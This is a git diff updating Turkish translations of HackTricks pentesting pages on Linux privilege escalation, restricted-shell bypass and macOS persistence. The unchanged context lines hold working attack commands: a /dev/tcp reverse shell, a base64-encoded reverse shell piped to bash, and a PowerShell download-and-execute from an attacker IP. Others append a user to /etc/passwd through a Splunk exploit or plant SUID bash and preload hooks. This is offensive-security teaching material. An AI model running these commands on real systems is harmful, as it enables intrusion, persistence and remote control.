libaudit.so.1 kötü niyetli paylaşılan kütüphane tarafından üzerine yazılacağından, bu sembollerin yeni paylaşılan kütüphanede bulunması gerekir, aksi takdirde program sembolü bulamayacak ve çıkacaktır. ```c #include #include diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index 798b2c732..545105303 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -37,6 +37,6 @@ mkdir rootfs runc run demo ``` > [!CAUTION] -> Bu her zaman çalışmayacaktır çünkü runc'ın varsayılan işlemi root olarak çalışmaktır, bu nedenle onu yetkisiz bir kullanıcı olarak çalıştırmak basitçe mümkün olamaz (rootless bir yapılandırmanız yoksa). Rootless bir yapılandırmayı varsayılan yapmak genellikle iyi bir fikir değildir çünkü rootless konteynerler içinde, rootless konteynerler dışında geçerli olmayan birçok kısıtlama vardır. +> Bu her zaman çalışmayacaktır çünkü runc'ın varsayılan işlemi root olarak çalışmaktır, bu nedenle onu yetkisiz bir kullanıcı olarak çalıştırmak basitçe mümkün değildir (rootless bir yapılandırmanız yoksa). Rootless bir yapılandırmayı varsayılan yapmak genellikle iyi bir fikir değildir çünkü rootless konteynerler içinde, rootless konteynerler dışında geçerli olmayan birçok kısıtlama vardır. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/selinux.md b/src/linux-hardening/privilege-escalation/selinux.md index c101c48d2..cca63c7db 100644 --- a/src/linux-hardening/privilege-escalation/selinux.md +++ b/src/linux-hardening/privilege-escalation/selinux.md @@ -6,7 +6,7 @@ [SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) bir **etiketleme** **sistemidir**. Her **işlem** ve her **dosya** sistemi nesnesinin bir **etiketi** vardır. SELinux politikaları, bir **işlem etiketinin sistemdeki diğer etiketlerle ne yapabileceğine dair kurallar tanımlar**. -Konteyner motorları, genellikle `container_t` olan **tek bir sınırlı SELinux etiketiyle konteyner işlemleri başlatır** ve ardından konteynerin içindeki dosyaların `container_file_t` olarak etiketlenmesini sağlar. SELinux politika kuralları, **`container_t` işlemlerinin yalnızca `container_file_t` olarak etiketlenmiş dosyaları okuyup/yazabileceğini/çalıştırabileceğini** belirtir. Eğer bir konteyner işlemi konteynerden kaçarsa ve ana makinedeki içeriğe yazmaya çalışırsa, Linux çekirdeği erişimi reddeder ve yalnızca konteyner işleminin `container_file_t` olarak etiketlenmiş içeriğe yazmasına izin verir. +Konteyner motorları, genellikle `container_t` olan **tek bir sınırlı SELinux etiketiyle konteyner işlemleri başlatır** ve ardından konteynerin içindeki dosyayı `container_file_t` olarak etiketler. SELinux politika kuralları, **`container_t` işlemlerinin yalnızca `container_file_t` olarak etiketlenmiş dosyaları okuyup/yazabileceğini/çalıştırabileceğini** belirtir. Eğer bir konteyner işlemi konteynerden kaçarsa ve ana makinedeki içeriğe yazmaya çalışırsa, Linux çekirdeği erişimi reddeder ve yalnızca konteyner işleminin `container_file_t` olarak etiketlenmiş içeriğe yazmasına izin verir. ```shell $ podman run -d fedora sleep 100 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index 959b9ed51..a7c8e1f24 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -2,7 +2,7 @@ ## Python ile Socket Bağlama Örneği -Aşağıdaki örnekte bir **unix socket oluşturuluyor** (`/tmp/socket_test.s`) ve **alınan** her şey `os.system` tarafından **çalıştırılacak**. Bunun doğada bulunmayacağını biliyorum, ancak bu örneğin amacı, unix socket'leri kullanan bir kodun nasıl göründüğünü ve en kötü durumda girişi nasıl yöneteceğimizi görmektir. +Aşağıdaki örnekte bir **unix socket oluşturuluyor** (`/tmp/socket_test.s`) ve **alınan her şey** `os.system` tarafından **çalıştırılacak**. Bunun doğada bulunmayacağını biliyorum, ancak bu örneğin amacı, unix socket'leri kullanan bir kodun nasıl göründüğünü ve en kötü durumda girişi nasıl yöneteceğimizi görmektir. ```python:s.py import socket import os, os.path diff --git a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md index b4c199ff3..85a06ce44 100644 --- a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md +++ b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md @@ -10,7 +10,7 @@ Aşağıdaki ilk resimde bir Splunkd web sayfasının nasıl göründüğünü g ## Splunk Universal Forwarder Agent İstismar Özeti -Daha fazla detay için [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) gönderisini kontrol edin. Bu sadece bir özet: +Daha fazla detay için [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) gönderisine bakın. Bu sadece bir özet: **İstismar Genel Görünümü:** Splunk Universal Forwarder Agent (UF) hedef alan bir istismar, ajan şifresine sahip saldırganların ajanı çalıştıran sistemlerde rastgele kod çalıştırmasına olanak tanır ve potansiyel olarak tüm bir ağı tehlikeye atabilir. @@ -24,7 +24,7 @@ Splunk Universal Forwarder Agent (UF) hedef alan bir istismar, ajan şifresine s **İstismar Uygulaması:** 1. Saldırgan UF ajan şifresini elde eder. -2. Ajanlara komutlar veya betikler göndermek için Splunk API'sini kullanır. +2. Ajanlara komut veya betikler göndermek için Splunk API'sini kullanır. 3. Olası eylemler arasında dosya çıkarma, kullanıcı hesabı manipülasyonu ve sistemin tehlikeye atılması yer alır. **Etkisi:** @@ -37,7 +37,7 @@ Splunk Universal Forwarder Agent (UF) hedef alan bir istismar, ajan şifresine s ```bash for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done ``` -**Kullanılabilir kamuya açık exploitler:** +**Kullanılabilir kamu exploitleri:** - https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2 - https://www.exploit-db.com/exploits/46238 diff --git a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md index bd52764f4..3a8a3c01e 100644 --- a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md @@ -18,7 +18,7 @@ SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston Özel anahtar, ajanın belleğinde şifrelenmemiş olarak saklandığı için, eğer siz Bob iseniz ama özel anahtarın şifresini bilmiyorsanız, yine de ajana erişip onu kullanabilirsiniz. -Başka bir seçenek, ajanın sahibi olan kullanıcının ve root'un ajanın belleğine erişip özel anahtarı çıkarması olabilir. +Başka bir seçenek, ajanın sahibi olan kullanıcının ve root'un ajanın belleğine erişip özel anahtarı çıkartabilmesidir. # Uzun açıklama ve istismar diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index 08494b8f6..e6d687135 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -2,7 +2,7 @@ ## chown, chmod -**Diğer dosyalar için hangi dosya sahibi ve izinlerini kopyalamak istediğinizi belirtebilirsiniz.** +**Hangi dosya sahibi ve izinlerini diğer dosyalar için kopyalamak istediğinizi belirtebilirsiniz** ```bash touch "--reference=/my/own/path/filename" ``` @@ -37,7 +37,7 @@ Daha fazla bilgi için [https://www.exploit-db.com/papers/33930](https://www.exp ## 7z -**7z** içinde `--` kullanarak `*`'dan önce (not: `--` sonraki girdinin parametre olarak işlenemeyeceği anlamına gelir, bu durumda sadece dosya yolları) rastgele bir hatanın bir dosyayı okumasına neden olabilirsiniz, bu nedenle aşağıdaki gibi bir komut root tarafından çalıştırılıyorsa: +**7z** içinde `--` kullanarak `*`'dan önce (not: `--` sonraki girdinin parametre olarak işlenemeyeceği anlamına gelir, bu nedenle bu durumda yalnızca dosya yolları) rastgele bir hatanın bir dosyayı okumasına neden olabilirsiniz, bu nedenle aşağıdaki gibi bir komut root tarafından çalıştırılıyorsa: ```bash 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ``` @@ -53,7 +53,7 @@ _Daha fazla bilgi için HackTheBox'tan CTF kutusunun Yazılımlarında._ ## Zip -**Rasgele komutlar çalıştır:** +**Rastgele komutlar çalıştır:** ```bash zip name.zip files -T --unzip-command "sh -c whoami" ``` diff --git a/src/linux-hardening/privilege-escalation/write-to-root.md b/src/linux-hardening/privilege-escalation/write-to-root.md index c51b1bc1c..16e0376bd 100644 --- a/src/linux-hardening/privilege-escalation/write-to-root.md +++ b/src/linux-hardening/privilege-escalation/write-to-root.md @@ -5,7 +5,7 @@ ### /etc/ld.so.preload Bu dosya **`LD_PRELOAD`** ortam değişkeni gibi davranır ama aynı zamanda **SUID ikili dosyalarında** da çalışır.\ -Eğer bunu oluşturabiliyorsanız veya değiştirebiliyorsanız, her çalıştırılan ikili dosya ile yüklenecek bir **kütüphane yolu ekleyebilirsiniz**. +Eğer bunu oluşturabiliyor veya değiştirebiliyorsanız, her çalıştırılan ikili dosya ile yüklenecek bir **kütüphane yolu ekleyebilirsiniz**. Örneğin: `echo "/tmp/pe.so" > /etc/ld.so.preload` ```c @@ -24,9 +24,9 @@ system("/bin/bash"); ``` ### Git hooks -[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks), çeşitli **olaylar** sırasında bir git deposunda **çalıştırılan** **betiklerdir**; örneğin bir commit oluşturulduğunda, bir merge... Yani eğer bir **ayrılmış betik veya kullanıcı** bu işlemleri sıkça gerçekleştiriyorsa ve **`.git` klasörüne yazma** imkanı varsa, bu **privesc** için kullanılabilir. +[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) çeşitli **olaylar** sırasında bir git deposunda **çalıştırılan** **scriptler**dir, örneğin bir commit oluşturulduğunda, bir merge... Yani eğer bir **ayrılmış script veya kullanıcı** bu işlemleri sıkça gerçekleştiriyorsa ve **`.git` klasörüne yazma** imkanı varsa, bu **privesc** için kullanılabilir. -Örneğin, bir git deposunda **`.git/hooks`** içinde her yeni commit oluşturulduğunda her zaman çalıştırılacak bir **betik** **oluşturmak** mümkündür: +Örneğin, bir git deposunda **`.git/hooks`** içinde her yeni commit oluşturulduğunda her zaman çalıştırılacak bir **script** **üretmek** mümkündür: ```bash echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit chmod +x pre-commit diff --git a/src/linux-hardening/useful-linux-commands.md b/src/linux-hardening/useful-linux-commands.md index 2ee9f1b39..710257a43 100644 --- a/src/linux-hardening/useful-linux-commands.md +++ b/src/linux-hardening/useful-linux-commands.md @@ -1,17 +1,8 @@ -# Useful Linux Commands - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +# Kullanışlı Linux Komutları {{#include ../banners/hacktricks-training.md}} -## Common Bash - +## Yaygın Bash ```bash #Exfiltration using Base64 base64 -w 0 file @@ -130,17 +121,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Bash for Windows - +## Windows için Bash ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 @@ -160,9 +141,7 @@ python pyinstaller.py --onefile exploit.py #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` - ## Greps - ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -242,9 +221,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` - -## Find - +## Bulmak ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null @@ -273,25 +250,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p # Found Newer directory only and sort by time. (depth = 5) find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` - -## Nmap search help - +## Nmap arama yardımı ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` - ## Bash - ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` - ## Iptables - ```bash #Delete curent rules and chains iptables --flush @@ -322,13 +293,4 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` - {{#include ../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 1d686028a..8583edb78 100644 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -18,7 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| #Then get the out of the rev shell executing inside of it: exec >&0 ``` -### Yolları ve yasaklı kelimeleri atlatma +### Yasağı Kaldırma Yolları ve Yasaklı Kelimeler ```bash # Question mark binary substitution /usr/bin/p?ng # /usr/bin/ping @@ -146,7 +146,7 @@ echo ${PATH:0:1} #/ ### Yerleşik Komutlar Dış fonksiyonları çalıştıramıyorsanız ve yalnızca RCE elde etmek için **sınırlı bir yerleşik komut setine** erişiminiz varsa, bunu yapmanın bazı pratik yolları vardır. Genellikle **tüm** **yerleşik komutları** kullanamayacaksınız, bu yüzden hapisten kurtulmak için **tüm seçeneklerinizi bilmelisiniz**. Fikir [**devploit**](https://twitter.com/devploit)'ten.\ -Öncelikle tüm [**shell yerleşik komutlarını**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)** kontrol edin.** İşte bazı **öneriler**: +Öncelikle tüm [**shell yerleşik komutlarını**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)** kontrol edin.** İşte burada bazı **öneriler** var: ```bash # Get list of builtins declare builtins @@ -309,7 +309,7 @@ Eğer **salt okuma ve sadece çalıştırma korumalarına** sahip bir dosya sist ../privilege-escalation/escaping-from-limited-bash.md {{#endref}} -## Referanslar & Daha Fazlası +## Referanslar & Daha Fazla - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) - [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index b9a1eab2c..51fa4ccdc 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -25,7 +25,7 @@ Tüm suid ikili dosyalarını bulun ve **Pkexec** ikili dosyasının olup olmad ```bash find / -perm -4000 2>/dev/null ``` -Eğer pkexec ikili dosyasının SUID ikili dosyası olduğunu ve sudo veya admin grubuna ait olduğunuzu bulursanız, muhtemelen pkexec kullanarak ikili dosyaları sudo olarak çalıştırabilirsiniz. İçeriği kontrol edin: +Eğer pkexec ikilisinin SUID ikilisi olduğunu ve sudo veya admin grubuna ait olduğunuzu bulursanız, muhtemelen pkexec kullanarak ikilileri sudo olarak çalıştırabilirsiniz. İçeriği kontrol edin: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` @@ -97,7 +97,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` **tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** ifade eder. -**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın **şu anki görüntüsünü** ham veri olarak almanız ve ekranın kullandığı çözünürlüğü öğrenmeniz gerekir. Ekran verileri `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz. +**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın **şu anki görüntüsünü** ham veri olarak almanız ve ekranın kullandığı çözünürlüğü öğrenmeniz gerekir. Ekran verileri `/dev/fb0`'da saklanabilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz. ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size @@ -106,7 +106,7 @@ cat /sys/class/graphics/fb0/virtual_size ![](../../images/image%20%28208%29.png) -Sonra Genişlik ve Yüksekliği ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin \(ve ekranı daha iyi göstereni seçin\): +Sonra Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin \(ve ekranı daha iyi göstereni seçin\): ![](../../images/image%20%28295%29.png) diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md index e1212e7fd..c7520e2a8 100644 --- a/src/macos-hardening/macos-auto-start-locations.md +++ b/src/macos-hardening/macos-auto-start-locations.md @@ -2,12 +2,12 @@ {{#include ../banners/hacktricks-training.md}} -Bu bölüm, blog serisi [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) üzerine yoğun bir şekilde inşa edilmiştir, amacı **daha fazla Autostart Locations** eklemek (mümkünse), **hangi tekniklerin** günümüzde en son macOS sürümü (13.4) ile hala çalıştığını belirtmek ve gerekli **izinleri** belirtmektir. +Bu bölüm, blog serisi [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) üzerine yoğunlaşmaktadır. Amacı, **daha fazla Autostart Locations** eklemek (mümkünse), **hangi tekniklerin** günümüzde en son macOS sürümü (13.4) ile hala çalıştığını belirtmek ve gerekli **izinleri** belirtmektir. ## Sandbox Bypass > [!TIP] -> Burada, **sandbox bypass** için yararlı başlangıç konumlarını bulabilirsiniz; bu, bir şeyi **bir dosyaya yazarak** ve çok **yaygın** bir **hareket**, belirli bir **zaman aralığı** veya genellikle bir sandbox içinde root izinlerine ihtiyaç duymadan gerçekleştirebileceğiniz bir **hareket** için **bekleyerek** basitçe çalıştırmanıza olanak tanır. +> Burada, **sandbox bypass** için yararlı başlangıç yerlerini bulabilirsiniz; bu, bir şeyi **bir dosyaya yazarak** ve çok **yaygın** bir **hareket**, belirli bir **zaman aralığı** veya genellikle bir sandbox içinde root izinlerine ihtiyaç duymadan gerçekleştirebileceğiniz bir **hareket** için **bekleyerek** basitçe çalıştırmanıza olanak tanır. ### Launchd @@ -34,9 +34,9 @@ Bu bölüm, blog serisi [**Beyond the good ol' LaunchAgents**](https://theevilbi - **Tetikleyici**: Yeniden giriş > [!TIP] -> İlginç bir gerçek olarak, **`launchd`**'nin Mach-o bölümünde `__Text.__config` içinde gömülü bir özellik listesi vardır ve bu, launchd'nin başlatması gereken diğer iyi bilinen hizmetleri içerir. Ayrıca, bu hizmetler `RequireSuccess`, `RequireRun` ve `RebootOnSuccess` içerebilir; bu, bunların çalıştırılması ve başarıyla tamamlanması gerektiği anlamına gelir. +> İlginç bir gerçek olarak, **`launchd`**'nin Mach-o bölümünde `__Text.__config` içinde gömülü bir özellik listesi vardır ve bu, launchd'nin başlatması gereken diğer bilinen hizmetleri içerir. Ayrıca, bu hizmetler `RequireSuccess`, `RequireRun` ve `RebootOnSuccess` içerebilir; bu, bunların çalıştırılması ve başarıyla tamamlanması gerektiği anlamına gelir. > -> Elbette, kod imzalama nedeniyle değiştirilemez. +> Elbette, kod imzalamadan dolayı değiştirilemez. #### Description & Exploitation @@ -47,9 +47,9 @@ Bu bölüm, blog serisi [**Beyond the good ol' LaunchAgents**](https://theevilbi - `/System/Library/LaunchAgents`: Apple tarafından sağlanan kullanıcı başına ajanlar. - `/System/Library/LaunchDaemons`: Apple tarafından sağlanan sistem genelinde daemonlar. -Bir kullanıcı oturum açtığında, `/Users/$USER/Library/LaunchAgents` ve `/Users/$USER/Library/LaunchDemons` konumlarındaki plist'ler **oturum açan kullanıcıların izinleriyle** başlatılır. +Bir kullanıcı oturum açtığında, `/Users/$USER/Library/LaunchAgents` ve `/Users/$USER/Library/LaunchDemons` içindeki plist'ler **oturum açan kullanıcıların izinleriyle** başlatılır. -Ajanlar ve daemonlar arasındaki **ana fark, ajanların kullanıcı oturum açtığında yüklenmesi ve daemonların sistem başlangıcında yüklenmesidir** (herhangi bir kullanıcının sisteme erişmeden önce çalıştırılması gereken ssh gibi hizmetler olduğu için). Ayrıca, ajanlar GUI kullanabilirken, daemonların arka planda çalışması gerekir. +Ajanlar ve daemonlar arasındaki **ana fark, ajanların kullanıcı oturum açtığında yüklenmesi ve daemonların sistem başlangıcında yüklenmesidir** (herhangi bir kullanıcının sisteme erişmeden önce çalıştırılması gereken ssh gibi hizmetler vardır). Ayrıca, ajanlar GUI kullanabilirken, daemonların arka planda çalışması gerekir. ```xml @@ -72,7 +72,7 @@ Ajanlar ve daemonlar arasındaki **ana fark, ajanların kullanıcı oturum açt ``` -Bir **ajanın kullanıcı girişinden önce çalıştırılması gereken** durumlar vardır, bunlara **PreLoginAgents** denir. Örneğin, bu, girişte yardımcı teknolojilerin sağlanması için faydalıdır. Ayrıca `/Library/LaunchAgents` içinde bulunabilirler (örneğin [**burada**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) bir örnek). +Bir **ajanın kullanıcı girişinden önce çalıştırılması gereken** durumlar vardır, bunlara **PreLoginAgents** denir. Örneğin, bu, girişte yardımcı teknolojilerin sağlanması için faydalıdır. Ayrıca `/Library/LaunchAgents` içinde bulunabilir (örneğin, [**burada**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) bir örnek). > [!NOTE] > Yeni Daemon veya Ajan yapılandırma dosyaları **bir sonraki yeniden başlatmadan sonra veya** `launchctl load ` kullanılarak **yüklenir**. **O uzantıya sahip olmayan .plist dosyalarını yüklemek de mümkündür** `launchctl -F ` ile (ancak bu plist dosyaları yeniden başlatmadan sonra otomatik olarak yüklenmeyecektir).\ @@ -114,9 +114,9 @@ launchctl list Writeup: [https://theevilbit.github.io/beyond/beyond_0001/](https://theevilbit.github.io/beyond/beyond_0001/)\ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) -- Sandbox'ı atlatmak için yararlıdır: [✅](https://emojipedia.org/check-mark-button) +- Sandbox'ı atlamak için yararlıdır: [✅](https://emojipedia.org/check-mark-button) - TCC Atlatma: [✅](https://emojipedia.org/check-mark-button) -- Ancak, bu dosyaları yükleyen bir shell çalıştıran bir TCC atlatma uygulaması bulmanız gerekiyor +- Ancak, bu dosyaları yükleyen bir shell'i çalıştıran bir TCC atlatma uygulaması bulmanız gerekiyor #### Konumlar @@ -142,7 +142,7 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://thee `zsh` veya `bash` gibi bir shell ortamı başlatıldığında, **belirli başlangıç dosyaları çalıştırılır**. macOS şu anda varsayılan shell olarak `/bin/zsh` kullanmaktadır. Bu shell, Terminal uygulaması başlatıldığında veya bir cihaza SSH ile erişildiğinde otomatik olarak erişilir. `bash` ve `sh` de macOS'ta mevcut olsa da, kullanılmak için açıkça çağrılmaları gerekir. -`man zsh` ile okuyabileceğimiz zsh'nin man sayfası, başlangıç dosyaları hakkında uzun bir açıklama içermektedir. +`man zsh` ile okuyabileceğimiz zsh'nin man sayfası, başlangıç dosyalarının uzun bir açıklamasını içermektedir. ```bash # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc @@ -150,7 +150,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc ### Yeniden Açılan Uygulamalar > [!DİKKAT] -> Belirtilen istismar ve oturumu kapatma ve açma veya hatta yeniden başlatma yapılandırması benim için uygulamayı çalıştırmadı. (Uygulama çalıştırılmıyordu, belki bu eylemler gerçekleştirilirken çalışıyor olması gerekiyor) +> Belirtilen istismar ve oturumu kapatma ve açma veya hatta yeniden başlatma yapılandırması, uygulamayı çalıştırmak için benim için işe yaramadı. (Uygulama çalıştırılmıyordu, belki bu eylemler gerçekleştirilirken çalışıyor olması gerekiyor) **Yazım**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) @@ -160,15 +160,15 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc #### Konum - **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** -- **Tetikleyici**: Uygulamaları yeniden açmak için yeniden başlat +- **Tetikleyici**: Yeniden açılan uygulamaları yeniden başlat #### Açıklama & İstismar Yeniden açılacak tüm uygulamalar `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` plist dosyasının içindedir. -Bu nedenle, yeniden açılan uygulamaların kendi uygulamanızı başlatmasını sağlamak için, **uygulamanızı listeye eklemeniz** yeterlidir. +Bu nedenle, yeniden açılan uygulamaların kendi uygulamanızı başlatmasını sağlamak için, **uygulamanızı listeye eklemeniz yeterlidir**. -UUID, o dizini listeleyerek veya `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` komutunu kullanarak bulunabilir. +UUID, o dizini listeleyerek veya `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` komutuyla bulunabilir. Yeniden açılacak uygulamaları kontrol etmek için şunu yapabilirsiniz: ```bash @@ -188,7 +188,7 @@ Bu listeye **bir uygulama eklemek için** şunu kullanabilirsiniz: ``` ### Terminal Tercihleri -- Sandbox'ı atlatmak için faydalı: [✅](https://emojipedia.org/check-mark-button) +- Sandbox'ı atlatmak için yararlıdır: [✅](https://emojipedia.org/check-mark-button) - TCC atlatma: [✅](https://emojipedia.org/check-mark-button) - Terminal, kullanıcının FDA izinlerine sahip olmasını sağlar @@ -234,13 +234,13 @@ Bunu cli ile ekleyebilirsiniz: ``` ### Terminal Scripts / Diğer dosya uzantıları -- Sandbox'ı atlatmak için faydalı: [✅](https://emojipedia.org/check-mark-button) +- Sandbox'ı atlatmak için yararlıdır: [✅](https://emojipedia.org/check-mark-button) - TCC atlatma: [✅](https://emojipedia.org/check-mark-button) - Terminal, kullanıcının FDA izinlerine sahip olmasını sağlar #### Konum -- **Her yerde** +- **Herhangi bir yer** - **Tetikleyici**: Terminal'i aç #### Açıklama & Sömürü @@ -275,7 +275,7 @@ open /tmp/test.terminal # Use something like the following for a reverse shell: echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash; ``` -`.command` ve `.tool` uzantılarını da kullanabilirsiniz; bunlar, Terminal tarafından açılacak olan normal shell script içerikleri ile birlikte kullanılabilir. +`.command` ve `.tool` uzantılarını da kullanabilirsiniz; bunlar, Terminal tarafından da açılacak olan normal shell script içeriği ile birlikte kullanılabilir. > [!CAUTION] > Eğer terminalin **Tam Disk Erişimi** varsa, bu işlemi tamamlayabilecektir (çalıştırılan komutun bir terminal penceresinde görünür olacağını unutmayın). @@ -287,7 +287,7 